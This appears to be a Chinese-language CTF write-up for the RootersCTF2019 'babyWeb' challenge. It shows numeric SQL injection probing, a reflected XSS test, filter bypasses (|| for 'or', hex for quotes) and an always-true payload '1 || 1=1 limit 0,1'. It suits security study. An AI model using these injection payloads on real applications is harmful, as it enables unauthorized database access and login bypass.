[RootersCTF2019]babyWeb
[RootersCTF2019]babyWeb
考点
注入类型判断
报错注入
万能密码
or绕过
单双引号绕过
wp
给了提示
密码是18位数字
禁止输入字母和
UNION SLEEP ' " OR - BENCHMARK
请求search=1
返回语句SELECT * FROM users WHERE uniqueid=1
输入0%23
返回SELECT * FROM users WHERE uniqueid=0#
,应该是数字型注入
输入1^1
返回的是SELECT * FROM users WHERE uniqueid=1^1
,就很奇怪
那就试试search=<script>alert(1)</script>
,结果弹框了,这里应该是服务端把GET请求的search原封不动的返回了
输入<>
提示SQL语法错误,信息为check the manual that corresponds to your MariaDB server version for the right syntax to use near '<>' at line 1
直接试试order by
呢,用大一点的数试试,输入1 order by 5
,返回Unknown column '5' in 'order clause'
输入1 order by 2
返回了正常信息,说明查询的列数是2
第一种解法:报错注入
这里可以下判断,是无回显的数字型注入,有报错信息,试试报错注入。
ban了or
,可以使用and
或者||
;ban了单双引号,可以使用十六进制
使用837461526918364526即可
第二种解法:万能密码
payload:1 || 1=1 limit 0,1
,使用1 || 1=1
会列出所有的id,需要用limit控制输出
核心代码
小结
类似题目,[b01lers2020]Life on Mars是输入字符串但是是数字型注入,本题是输入数字回显原文的数字型注入
ban了
or
,可以使用and
或者||
ban了单双引号,可以使用十六进制
最后更新于